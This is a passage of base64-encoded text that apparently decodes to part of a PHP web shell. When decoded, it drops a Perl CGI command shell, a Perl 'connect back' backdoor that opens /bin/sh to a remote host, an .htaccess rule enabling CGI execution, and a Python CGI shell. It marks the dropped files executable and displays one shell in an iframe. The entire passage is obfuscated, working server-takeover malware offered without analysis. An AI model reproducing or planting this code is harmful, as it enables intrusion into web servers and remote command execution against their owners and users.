1JHYVd4bFUybDZaU0E5SUNoemRHRjBLQ1JUWlc1a1JtbHNaU2twV3pkZE93b0pDU2drUm1sc1pXNWhiV1VnUFNBa1UyVnVaRVpwYkdVcElEMStJQ0J0SVNoYlhpOWVYRnhkS2lra0lUc0tDUWx3Y21sdWRDQWlRMjl1ZEdWdWRDMVVlWEJsT2lCaGNIQnNhV05oZEdsdmJpOTRMWFZ1YTI1dmQyNWNiaUk3Q2drSmNISnBiblFnSWtOdmJuUmxiblF0VEdWdVozUm9PaUFrUm1sc1pWTnBlbVZjYmlJN0Nna0pjSEpwYm5RZ0lrTnZiblJsYm5RdFJHbHpjRzl6YVhScGIyNDZJR0YwZEdGamFHMWxiblE3SUdacGJHVnVZVzFsUFNReFhHNWNiaUk3Q2drSmNISnBiblFnZDJocGJHVW9QRk5GVGtSR1NVeEZQaWs3Q2drSlkyeHZjMlVvVTBWT1JFWkpURVVwT3dvSmZRb0paV3h6WlNBaklHWmhhV3hsWkNCMGJ5QnZjR1Z1SUdacGJHVUtDWHNLQ1FrbVVISnBiblJRWVdkbFNHVmhaR1Z5S0NKbUlpazdDZ2tKY0hKcGJuUWdJa1poYVd4bFpDQjBieUJrYjNkdWJHOWhaQ0FrVTJWdVpFWnBiR1U2SUNRaElqc0tDUWttVUhKcGJuUkdhV3hsUkc5M2JteHZZV1JHYjNKdE93b0tDUWttVUhKcGJuUlFZV2RsUm05dmRHVnlPd29KZlFwOUNnb0tJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRb2pJRlJvYVhNZ1puVnVZM1JwYjI0Z2FYTWdZMkZzYkdWa0lIZG9aVzRnZEdobElIVnpaWElnWkc5M2JteHZZV1J6SUdFZ1ptbHNaUzRnU1hRZ1pHbHpjR3hoZVhNZ1lTQnRaWE56WVdkbENpTWdkRzhnZEdobElIVnpaWElnWVc1a0lIQnliM1pwWkdWeklHRWdiR2x1YXlCMGFISnZkV2RvSUhkb2FXTm9JSFJvWlNCbWFXeGxJR05oYmlCaVpTQmtiM2R1Ykc5aFpHVmtMZ29qSUZSb2FYTWdablZ1WTNScGIyNGdhWE1nWVd4emJ5QmpZV3hzWldRZ2QyaGxiaUIwYUdVZ2RYTmxjaUJqYkdsamEzTWdiMjRnZEdoaGRDQnNhVzVyTGlCSmJpQjBhR2x6SUdOaGMyVXNDaU1nZEdobElHWnBiR1VnYVhNZ2NtVmhaQ0JoYm1RZ2MyVnVkQ0IwYnlCMGFHVWdZbkp2ZDNObGNpNEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRcHpkV0lnUW1WbmFXNUViM2R1Ykc5aFpBcDdDZ2tqSUdkbGRDQm1kV3hzZVNCeGRXRnNhV1pwWldRZ2NHRjBhQ0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0JrYjNkdWJHOWhaR1ZrQ2dscFppZ29KRmRwYms1VUlDWWdLQ1JVY21GdWMyWmxja1pwYkdVZ1BYNGdiUzllWEZ4OFhpNDZMeWtwSUh3S0NRa29JU1JYYVc1T1ZDQW1JQ2drVkhKaGJuTm1aWEpHYVd4bElEMStJRzB2WGx3dkx5a3BLU0FqSUhCaGRHZ2dhWE1nWVdKemIyeDFkR1VLQ1hzS0NRa2tWR0Z5WjJWMFJtbHNaU0E5SUNSVWNtRnVjMlpsY2tacGJHVTdDZ2w5Q2dsbGJITmxJQ01nY0dGMGFDQnBjeUJ5Wld4aGRHbDJaUW9KZXdvSkNXTm9iM0FvSkZSaGNtZGxkRVpwYkdVcElHbG1LQ1JVWVhKblpYUkdhV3hsSUQwZ0pFTjFjbkpsYm5SRWFYSXBJRDErSUcwdlcxeGNYQzlkSkM4N0Nna0pKRlJoY21kbGRFWnBiR1VnTGowZ0pGQmhkR2hUWlhBdUpGUnlZVzV6Wm1WeVJtbHNaVHNLQ1gwS0NnbHBaaWdrVDNCMGFXOXVjeUJsY1NBaVoyOGlLU0FqSUhkbElHaGhkbVVnZEc4Z2MyVnVaQ0IwYUdVZ1ptbHNaUW9KZXdvSkNTWlRaVzVrUm1sc1pWUnZRbkp2ZDNObGNpZ2tWR0Z5WjJWMFJtbHNaU2s3Q2dsOUNnbGxiSE5sSUNNZ2QyVWdhR0YyWlNCMGJ5QnpaVzVrSUc5dWJIa2dkR2hsSUd4cGJtc2djR0ZuWlFvSmV3b0pDU1pRY21sdWRFUnZkMjVzYjJGa1RHbHVhMUJoWjJVb0pGUmhjbWRsZEVacGJHVXBPd29KZlFwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdWR2hwY3lCbWRXNWpkR2x2YmlCcGN5QmpZV3hzWldRZ2QyaGxiaUIwYUdVZ2RYTmxjaUIzWVc1MGN5QjBieUIxY0d4dllXUWdZU0JtYVd4bExpQkpaaUIwYUdVS0l5Qm1hV3hsSUdseklHNXZkQ0J6Y0dWamFXWnBaV1FzSUdsMElHUnBjM0JzWVhseklHRWdabTl5YlNCaGJHeHZkMmx1WnlCMGFHVWdkWE5sY2lCMGJ5QnpjR1ZqYVdaNUlHRUtJeUJtYVd4bExDQnZkR2hsY25kcGMyVWdhWFFnYzNSaGNuUnpJSFJvWlNCMWNHeHZZV1FnY0hKdlkyVnpjeTRLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUXB6ZFdJZ1ZYQnNiMkZrUm1sc1pRcDdDZ2tqSUdsbUlHNXZJR1pwYkdVZ2FYTWdjM0JsWTJsbWFXVmtMQ0J3Y21sdWRDQjBhR1VnZFhCc2IyRmtJR1p2Y20wZ1lXZGhhVzRLQ1dsbUtDUlVjbUZ1YzJabGNrWnBiR1VnWlhFZ0lpSXBDZ2w3Q2drSkpsQnlhVzUwVUdGblpVaGxZV1JsY2lnaVppSXBPd29KQ1NaUWNtbHVkRVpwYkdWVmNHeHZZV1JHYjNKdE93b0pDU1pRY21sdWRGQmhaMlZHYjI5MFpYSTdDZ2tKY21WMGRYSnVPd29KZlFvSkpsQnlhVzUwVUdGblpVaGxZV1JsY2lnaVl5SXBPd29LQ1NNZ2MzUmhjblFnZEdobElIVndiRzloWkdsdVp5QndjbTlqWlhOekNnbHdjbWx1ZENBaVZYQnNiMkZrYVc1bklDUlVjbUZ1YzJabGNrWnBiR1VnZEc4Z0pFTjFjbkpsYm5SRWFYSXVMaTQ4WW5JK0lqc0tDZ2tqSUdkbGRDQjBhR1VnWm5Wc2JHeDVJSEYxWVd4cFptbGxaQ0J3WVhSb2JtRnRaU0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0JqY21WaGRHVmtDZ2xqYUc5d0tDUlVZWEpuWlhST1lXMWxLU0JwWmlBb0pGUmhjbWRsZEU1aGJXVWdQU0FrUTNWeWNtVnVkRVJwY2lrZ1BYNGdiUzliWEZ4Y0wxMGtMenNLQ1NSVWNtRnVjMlpsY2tacGJHVWdQWDRnYlNFb1cxNHZYbHhjWFNvcEpDRTdDZ2trVkdGeVoyVjBUbUZ0WlNBdVBTQWtVR0YwYUZObGNDNGtNVHNLQ2dra1ZHRnlaMlYwUm1sc1pWTnBlbVVnUFNCc1pXNW5kR2dvSkdsdWV5ZG1hV3hsWkdGMFlTZDlLVHNLQ1NNZ2FXWWdkR2hsSUdacGJHVWdaWGhwYzNSeklHRnVaQ0IzWlNCaGNtVWdibTkwSUhOMWNIQnZjMlZrSUhSdklHOTJaWEozY21sMFpTQnBkQW9KYVdZb0xXVWdKRlJoY21kbGRFNWhiV1VnSmlZZ0pFOXdkR2x2Ym5NZ2JtVWdJbTkyWlhKM2NtbDBaU0lwQ2dsN0Nna0pjSEpwYm5RZ0lrWmhhV3hsWkRvZ1JHVnpkR2x1WVhScGIyNGdabWxzWlNCaGJISmxZV1I1SUdWNGFYTjBjeTQ4WW5JK0lqc0tDWDBLQ1dWc2MyVWdJeUJtYVd4bElHbHpJRzV2ZENCd2NtVnpaVzUwQ2dsN0Nna0phV1lvYjNCbGJpaFZVRXhQUVVSR1NVeEZMQ0FpUGlSVVlYSm5aWFJPWVcxbElpa3BDZ2tKZXdvSkNRbGlhVzV0YjJSbEtGVlFURTlCUkVaSlRFVXBJR2xtSUNSWGFXNU9WRHNLQ1FrSmNISnBiblFnVlZCTVQwRkVSa2xNUlNBa2FXNTdKMlpwYkdWa1lYUmhKMzA3Q2drSkNXTnNiM05sS0ZWUVRFOUJSRVpKVEVVcE93b0pDUWx3Y21sdWRDQWlWSEpoYm5ObVpYSmxaQ0FrVkdGeVoyVjBSbWxzWlZOcGVtVWdRbmwwWlhNdVBHSnlQaUk3Q2drSkNYQnlhVzUwSUNKR2FXeGxJRkJoZEdnNklDUlVZWEpuWlhST1lXMWxQR0p5UGlJN0Nna0pmUW9KQ1dWc2MyVUtDUWw3Q2drSkNYQnlhVzUwSUNKR1lXbHNaV1E2SUNRaFBHSnlQaUk3Q2drSmZRb0pmUW9KY0hKcGJuUWdJaUk3Q2drbVVISnBiblJEYjIxdFlXNWtUR2x1WlVsdWNIVjBSbTl5YlRzS0Nna21VSEpwYm5SUVlXZGxSbTl2ZEdWeU93cDlDZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nVkdocGN5Qm1kVzVqZEdsdmJpQnBjeUJqWVd4c1pXUWdkMmhsYmlCMGFHVWdkWE5sY2lCM1lXNTBjeUIwYnlCa2IzZHViRzloWkNCaElHWnBiR1V1SUVsbUlIUm9aUW9qSUdacGJHVnVZVzFsSUdseklHNXZkQ0J6Y0dWamFXWnBaV1FzSUdsMElHUnBjM0JzWVhseklHRWdabTl5YlNCaGJHeHZkMmx1WnlCMGFHVWdkWE5sY2lCMGJ5QnpjR1ZqYVdaNUlHRUtJeUJtYVd4bExDQnZkR2hsY25kcGMyVWdhWFFnWkdsemNHeGhlWE1nWVNCdFpYTnpZV2RsSUhSdklIUm9aU0IxYzJWeUlHRnVaQ0J3Y205MmFXUmxjeUJoSUd4cGJtc0tJeUIwYUhKdmRXZG9JQ0IzYUdsamFDQjBhR1VnWm1sc1pTQmpZVzRnWW1VZ1pHOTNibXh2WVdSbFpDNEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRcHpkV0lnUkc5M2JteHZZV1JHYVd4bENuc0tDU01nYVdZZ2JtOGdabWxzWlNCcGN5QnpjR1ZqYVdacFpXUXNJSEJ5YVc1MElIUm9aU0JrYjNkdWJHOWhaQ0JtYjNKdElHRm5ZV2x1Q2dscFppZ2tWSEpoYm5ObVpYSkdhV3hsSUdWeElDSWlLUW9KZXdvSkNTWlFjbWx1ZEZCaFoyVklaV0ZrWlhJb0ltWWlLVHNLQ1FrbVVISnBiblJHYVd4bFJHOTNibXh2WVdSR2IzSnRPd29KQ1NaUWNtbHVkRkJoWjJWR2IyOTBaWEk3Q2drSmNtVjBkWEp1T3dvSmZRb0pDZ2tqSUdkbGRDQm1kV3hzZVNCeGRXRnNhV1pwWldRZ2NHRjBhQ0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0JrYjNkdWJHOWhaR1ZrQ2dscFppZ29KRmRwYms1VUlDWWdLQ1JVY21GdWMyWmxja1pwYkdVZ1BYNGdiUzllWEZ4OFhpNDZMeWtwSUh3S0NRa29JU1JYYVc1T1ZDQW1JQ2drVkhKaGJuTm1aWEpHYVd4bElEMStJRzB2WGx3dkx5a3BLU0FqSUhCaGRHZ2dhWE1nWVdKemIyeDFkR1VLQ1hzS0NRa2tWR0Z5WjJWMFJtbHNaU0E5SUNSVWNtRnVjMlpsY2tacGJHVTdDZ2w5Q2dsbGJITmxJQ01nY0dGMGFDQnBjeUJ5Wld4aGRHbDJaUW9KZXdvSkNXTm9iM0FvSkZSaGNtZGxkRVpwYkdVcElHbG1LQ1JVWVhKblpYUkdhV3hsSUQwZ0pFTjFjbkpsYm5SRWFYSXBJRDErSUcwdlcxeGNYQzlkSkM4N0Nna0pKRlJoY21kbGRFWnBiR1VnTGowZ0pGQmhkR2hUWlhBdUpGUnlZVzV6Wm1WeVJtbHNaVHNLQ1gwS0NnbHBaaWdrVDNCMGFXOXVjeUJsY1NBaVoyOGlLU0FqSUhkbElHaGhkbVVnZEc4Z2MyVnVaQ0IwYUdVZ1ptbHNaUW9KZXdvSkNTWlRaVzVrUm1sc1pWUnZRbkp2ZDNObGNpZ2tWR0Z5WjJWMFJtbHNaU2s3Q2dsOUNnbGxiSE5sSUNNZ2QyVWdhR0YyWlNCMGJ5QnpaVzVrSUc5dWJIa2dkR2hsSUd4cGJtc2djR0ZuWlFvSmV3b0pDU1pRY21sdWRFUnZkMjVzYjJGa1RHbHVhMUJoWjJVb0pGUmhjbWRsZEVacGJHVXBPd29KZlFwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdUV0ZwYmlCUWNtOW5jbUZ0SUMwZ1JYaGxZM1YwYVc5dUlGTjBZWEowY3lCSVpYSmxDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtKbEpsWVdSUVlYSnpaVHNLSmtkbGRFTnZiMnRwWlhNN0Nnb2tVMk55YVhCMFRHOWpZWFJwYjI0Z1BTQWtSVTVXZXlkVFExSkpVRlJmVGtGTlJTZDlPd29rVTJWeWRtVnlUbUZ0WlNBOUlDUkZUbFo3SjFORlVsWkZVbDlPUVUxRkozMDdDaVJNYjJkcGJsQmhjM04zYjNKa0lEMGdKR2x1ZXlkd0ozMDdDaVJTZFc1RGIyMXRZVzVrSUQwZ0pHbHVleWRqSjMwN0NpUlVjbUZ1YzJabGNrWnBiR1VnUFNBa2FXNTdKMlluZlRzS0pFOXdkR2x2Ym5NZ1BTQWthVzU3SjI4bmZUc0tDaVJCWTNScGIyNGdQU0FrYVc1N0oyRW5mVHNLSkVGamRHbHZiaUE5SUNKc2IyZHBiaUlnYVdZb0pFRmpkR2x2YmlCbGNTQWlJaWs3SUNNZ2JtOGdZV04wYVc5dUlITndaV05wWm1sbFpDd2dkWE5sSUdSbFptRjFiSFFLQ2lNZ1oyVjBJSFJvWlNCa2FYSmxZM1J2Y25rZ2FXNGdkMmhwWTJnZ2RHaGxJR052YlcxaGJtUnpJSGRwYkd3Z1ltVWdaWGhsWTNWMFpXUUtKRU4xY25KbGJuUkVhWElnUFNBa2FXNTdKMlFuZlRzS1kyaHZjQ2drUTNWeWNtVnVkRVJwY2lBOUlHQWtRMjFrVUhka1lDa2dhV1lvSkVOMWNuSmxiblJFYVhJZ1pYRWdJaUlwT3dvS0pFeHZaMmRsWkVsdUlEMGdKRU52YjJ0cFpYTjdKMU5CVmtWRVVGZEVKMzBnWlhFZ0pGQmhjM04zYjNKa093b0thV1lvSkVGamRHbHZiaUJsY1NBaWJHOW5hVzRpSUh4OElDRWtURzluWjJWa1NXNHBJQ01nZFhObGNpQnVaV1ZrY3k5b1lYTWdkRzhnYkc5bmFXNEtld29KSmxCbGNtWnZjbTFNYjJkcGJqc0tDbjBLWld4emFXWW9KRUZqZEdsdmJpQmxjU0FpWTI5dGJXRnVaQ0lwSUNNZ2RYTmxjaUIzWVc1MGN5QjBieUJ5ZFc0Z1lTQmpiMjF0WVc1a0Nuc0tDU1pGZUdWamRYUmxRMjl0YldGdVpEc0tmUXBsYkhOcFppZ2tRV04wYVc5dUlHVnhJQ0oxY0d4dllXUWlLU0FqSUhWelpYSWdkMkZ1ZEhNZ2RHOGdkWEJzYjJGa0lHRWdabWxzWlFwN0Nna21WWEJzYjJGa1JtbHNaVHNLZlFwbGJITnBaaWdrUVdOMGFXOXVJR1Z4SUNKa2IzZHViRzloWkNJcElDTWdkWE5sY2lCM1lXNTBjeUIwYnlCa2IzZHViRzloWkNCaElHWnBiR1VLZXdvSkprUnZkMjVzYjJGa1JtbHNaVHNLZlFwbGJITnBaaWdrUVdOMGFXOXVJR1Z4SUNKc2IyZHZkWFFpS1NBaklIVnpaWElnZDJGdWRITWdkRzhnYkc5bmIzVjBDbnNLQ1NaUVpYSm1iM0p0VEc5bmIzVjBPd3A5JzsKCiRmaWxlID0gZm9wZW4oIml6by5jaW4iICwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY2dpc2hlbGxpem9jaW4pKTsKZmNsb3NlKCRmaWxlKTsKICAgIGNobW9kKCJpem8uY2luIiwwNzU1KTsKJG5ldGNhdHNoZWxsID0gJ0l5RXZkWE55TDJKcGJpOXdaWEpzRFFvZ0lDQWdJQ0IxYzJVZ1UyOWphMlYwT3cwS0lDQWdJQ0FnY0hKcGJuUWdJa1JoZEdFZ1EyaGgKTUhNZ1EyOXVibVZqZENCQ1lXTnJJRUpoWTJ0a2IyOXlYRzVjYmlJN0RRb2dJQ0FnSUNCcFppQW9JU1JCVWtkV1d6QmRLU0I3RFFvZwpJQ0FnSUNBZ0lIQnlhVzUwWmlBaVZYTmhaMlU2SUNRd0lGdEliM04wWFNBOFVHOXlkRDVjYmlJN0RRb2dJQ0FnSUNBZ0lHVjRhWFFvCk1TazdEUW9nSUNBZ0lDQjlEUW9nSUNBZ0lDQndjbWx1ZENBaVd5cGRJRVIxYlhCcGJtY2dRWEpuZFcxbGJuUnpYRzRpT3cwS0lDQWcKSUNBZ0pHaHZjM1FnUFNBa1FWSkhWbHN3WFRzTkNpQWdJQ0FnSUNSd2IzSjBJRDBnT0RBN0RRb2dJQ0FnSUNCcFppQW9KRUZTUjFaYgpNVjBwSUhzTkNpQWdJQ0FnSUNBZ0pIQnZjblFnUFNBa1FWSkhWbHN4WFRzTkNpQWdJQ0FnSUgwTkNpQWdJQ0FnSUhCeWFXNTBJQ0piCktsMGdRMjl1Ym1WamRHbHVaeTR1TGx4dUlqc05DaUFnSUNBZ0lDUndjbTkwYnlBOUlHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW4KS1NCOGZDQmthV1VvSWxWdWEyNXZkMjRnVUhKdmRHOWpiMnhjYmlJcE93MEtJQ0FnSUNBZ2MyOWphMlYwS0ZORlVsWkZVaXdnVUVaZgpTVTVGVkN3Z1UwOURTMTlUVkZKRlFVMHNJQ1J3Y205MGJ5a2dmSHdnWkdsbElDZ2lVMjlqYTJWMElFVnljbTl5WEc0aUtUc05DaUFnCklDQWdJRzE1SUNSMFlYSm5aWFFnUFNCcGJtVjBYMkYwYjI0b0pHaHZjM1FwT3cwS0lDQWdJQ0FnYVdZZ0tDRmpiMjV1WldOMEtGTkYKVWxaRlVpd2djR0ZqYXlBaVUyNUJOSGc0SWl3Z01pd2dKSEJ2Y25Rc0lDUjBZWEpuWlhRcEtTQjdEUW9nSUNBZ0lDQWdJR1JwWlNnaQpWVzVoWW14bElIUnZJRU52Ym01bFkzUmNiaUlwT3cwS0lDQWdJQ0FnZlEwS0lDQWdJQ0FnY0hKcGJuUWdJbHNxWFNCVGNHRjNibWx1Clp5QlRhR1ZzYkZ4dUlqc05DaUFnSUNBZ0lHbG1JQ2doWm05eWF5Z2dLU2tnZXcwS0lDQWdJQ0FnSUNCdmNHVnVLRk5VUkVsT0xDSSsKSmxORlVsWkZVaUlwT3cwS0lDQWdJQ0FnSUNCdmNHVnVLRk5VUkU5VlZDd2lQaVpUUlZKV1JWSWlLVHNOQ2lBZ0lDQWdJQ0FnYjNCbApiaWhUVkVSRlVsSXNJajRtVTBWU1ZrVlNJaWs3RFFvZ0lDQWdJQ0FnSUdWNFpXTWdleWN2WW1sdUwzTm9KMzBnSnkxaVlYTm9KeUF1CklDSmNNQ0lnZUNBME93MEtJQ0FnSUNBZ0lDQmxlR2wwS0RBcE93MEtJQ0FnSUNBZ2ZRMEtJQ0FnSUNBZ2NISnBiblFnSWxzcVhTQkUKWVhSaFkyaGxaRnh1WEc0aU93PT0nOwoKJGZpbGUgPSBmb3BlbigiZGMucGwiICwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkbmV0Y2F0c2hlbGwpKTsKZmNsb3NlKCRmaWxlKTsKICAgIGNobW9kKCJkYy5wbCIsMDc1NSk7CmVjaG8gIjxpZnJhbWUgc3JjPWNnaXNoZWxsL2l6by5jaW4gd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwp9CmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDE0J10pKQp7CiAgICBta2RpcigncHl0aG9uJywgMDc1NSk7CiAgICBjaGRpcigncHl0aG9uJyk7CiAgICAgICAgJGtva2Rvc3lhID0gIi5odGFjY2VzcyI7CiAgICAgICAgJGRvc3lhX2FkaSA9ICIka29rZG9zeWEiOwogICAgICAgICRkb3N5YSA9IGZvcGVuICgkZG9zeWFfYWRpICwgJ3cnKSBvciBkaWUgKCJEb3N5YSBhw6fEsWxhbWFkxLEhIik7CiAgICAgICAgJG1ldGluID0gIkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuaXpvIjsgICAgCiAgICAgICAgZndyaXRlICggJGRvc3lhICwgJG1ldGluICkgOwogICAgICAgIGZjbG9zZSAoJGRvc3lhKTsKJHB5dGhvbnAgPSAnSXlFdmRYTnlMMkpwYmk5d2VYUm9iMjRLSXlBd055MHdOeTB3TkFvaklIWXhMakF1TUFvS0l5QmpaMmt0YzJobGJHd3VjSGtLSXlCQgpJSE5wYlhCc1pTQkRSMGtnZEdoaGRDQmxlR1ZqZFhSbGN5QmhjbUpwZEhKaGNua2djMmhsYkd3Z1kyOXRiV0Z1WkhNdUNnb0tJeUJECmIzQjVjbWxuYUhRZ1RXbGphR0ZsYkNCR2IyOXlaQW9qSUZsdmRTQmhjbVVnWm5KbFpTQjBieUJ0YjJScFpua3NJSFZ6WlNCaGJtUWcKY21Wc2FXTmxibk5sSUhSb2FYTWdZMjlrWlM0S0NpTWdUbThnZDJGeWNtRnVkSGtnWlhod2NtVnpjeUJ2Y2lCcGJYQnNhV1ZrSUdadgpjaUIwYUdVZ1lXTmpkWEpoWTNrc0lHWnBkRzVsYzNNZ2RHOGdjSFZ5Y0c5elpTQnZjaUJ2ZEdobGNuZHBjMlVnWm05eUlIUm9hWE1nClkyOWtaUzR1TGk0S0l5QlZjMlVnWVhRZ2VXOTFjaUJ2ZDI0Z2NtbHpheUFoSVNFS0NpTWdSUzF0WVdsc0lHMXBZMmhoWld3Z1FWUWcKWm05dmNtUWdSRTlVSUcxbElFUlBWQ0IxYXdvaklFMWhhVzUwWVdsdVpXUWdZWFFnZDNkM0xuWnZhV1J6Y0dGalpTNXZjbWN1ZFdzdgpZWFJzWVc1MGFXSnZkSE12Y0hsMGFHOXVkWFJwYkhNdWFIUnRiQW9LSWlJaUNrRWdjMmx0Y0d4bElFTkhTU0J6WTNKcGNIUWdkRzhnClpYaGxZM1YwWlNCemFHVnNiQ0JqYjIxdFlXNWtjeUIyYVdFZ1EwZEpMZ29pSWlJS0l5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWoKSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJd29qSUVsdGNHOXlkSE1LZEhKNQpPZ29nSUNBZ2FXMXdiM0owSUdObmFYUmlPeUJqWjJsMFlpNWxibUZpYkdVb0tRcGxlR05sY0hRNkNpQWdJQ0J3WVhOekNtbHRjRzl5CmRDQnplWE1zSUdObmFTd2diM01LYzNsekxuTjBaR1Z5Y2lBOUlITjVjeTV6ZEdSdmRYUUtabkp2YlNCMGFXMWxJR2x0Y0c5eWRDQnoKZEhKbWRHbHRaUXBwYlhCdmNuUWdkSEpoWTJWaVlXTnJDbVp5YjIwZ1UzUnlhVzVuU1U4Z2FXMXdiM0owSUZOMGNtbHVaMGxQQ21aeQpiMjBnZEhKaFkyVmlZV05ySUdsdGNHOXlkQ0J3Y21sdWRGOWxlR01LQ2lNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qCkl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TUtJeUJqYjI1emRHRnVkSE1LQ21admJuUnMKYVc1bElEMGdKenhHVDA1VUlFTlBURTlTUFNNME1qUXlORElnYzNSNWJHVTlJbVp2Ym5RdFptRnRhV3g1T25ScGJXVnpPMlp2Ym5RdApjMmw2WlRveE1uQjBPeUkrSndwMlpYSnphVzl1YzNSeWFXNW5JRDBnSjFabGNuTnBiMjRnTVM0d0xqQWdOM1JvSUVwMWJIa2dNakF3Ck5DY0tDbWxtSUc5ekxtVnVkbWx5YjI0dWFHRnpYMnRsZVNnaVUwTlNTVkJVWDA1QlRVVWlLVG9LSUNBZ0lITmpjbWx3ZEc1aGJXVWcKUFNCdmN5NWxiblpwY205dVd5SlRRMUpKVUZSZlRrRk5SU0pkQ21Wc2MyVTZDaUFnSUNCelkzSnBjSFJ1WVcxbElEMGdJaUlLQ2sxRgpWRWhQUkNBOUlDY2lVRTlUVkNJbkNnb2pJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qCkl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qQ2lNZ1VISnBkbUYwWlNCbWRXNWpkR2x2Ym5NZ1lXNWtJSFpoY21saFlteGwKY3dvS1pHVm1JR2RsZEdadmNtMG9kbUZzZFdWc2FYTjBMQ0IwYUdWbWIzSnRMQ0J1YjNSd2NtVnpaVzUwUFNjbktUb0tJQ0FnSUNJaQpJbFJvYVhNZ1puVnVZM1JwYjI0c0lHZHBkbVZ1SUdFZ1EwZEpJR1p2Y20wc0lHVjRkSEpoWTNSeklIUm9aU0JrWVhSaElHWnliMjBnCmFYUXNJR0poYzJWa0lHOXVDaUFnSUNCMllXeDFaV3hwYzNRZ2NHRnpjMlZrSUdsdUxpQkJibmtnYm05dUxYQnlaWE5sYm5RZ2RtRnMKZFdWeklHRnlaU0J6WlhRZ2RHOGdKeWNnTFNCaGJIUm9iM1ZuYUNCMGFHbHpJR05oYmlCaVpTQmphR0Z1WjJWa0xnb2dJQ0FnS0dVdQpaeTRnZEc4Z2NtVjBkWEp1SUU1dmJtVWdjMjhnZVc5MUlHTmhiaUIwWlhOMElHWnZjaUJ0YVhOemFXNW5JR3RsZVhkdmNtUnpJQzBnCmQyaGxjbVVnSnljZ2FYTWdZU0IyWVd4cFpDQmhibk4zWlhJZ1luVjBJSFJ2SUdoaGRtVWdkR2hsSUdacFpXeGtJRzFwYzNOcGJtY2cKYVhOdUozUXVLU0lpSWdvZ0lDQWdaR0YwWVNBOUlIdDlDaUFnSUNCbWIzSWdabWxsYkdRZ2FXNGdkbUZzZFdWc2FYTjBPZ29nSUNBZwpJQ0FnSUdsbUlHNXZkQ0IwYUdWbWIzSnRMbWhoYzE5clpYa29abWxsYkdRcE9nb2dJQ0FnSUNBZ0lDQWdJQ0JrWVhSaFcyWnBaV3hrClhTQTlJRzV2ZEhCeVpYTmxiblFLSUNBZ0lDQWdJQ0JsYkhObE9nb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlBZ2RIbHdaU2gwYUdWbWIzSnQKVzJacFpXeGtYU2tnSVQwZ2RIbHdaU2hiWFNrNkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCa1lYUmhXMlpwWld4a1hTQTlJSFJvWldadgpjbTFiWm1sbGJHUmRMblpoYkhWbENpQWdJQ0FnSUNBZ0lDQWdJR1ZzYzJVNkNpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCMllXeDFaWE1nClBTQnRZWEFvYkdGdFltUmhJSGc2SUhndWRtRnNkV1VzSUhSb1pXWnZjbTFiWm1sbGJHUmRLU0FnSUNBZ0l5QmhiR3h2ZDNNZ1ptOXkKSUd4cGMzUWdkSGx3WlNCMllXeDFaWE1LSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJR1JoZEdGYlptbGxiR1JkSUQwZ2RtRnNkV1Z6Q2lBZwpJQ0J5WlhSMWNtNGdaR0YwWVFvS0NuUm9aV1p2Y20xb1pXRmtJRDBnSWlJaVBFaFVUVXcrUEVoRlFVUStQRlJKVkV4RlBtTm5hUzF6CmFHVnNiQzV3ZVNBdElHRWdRMGRKSUdKNUlFWjFlbnA1YldGdVBDO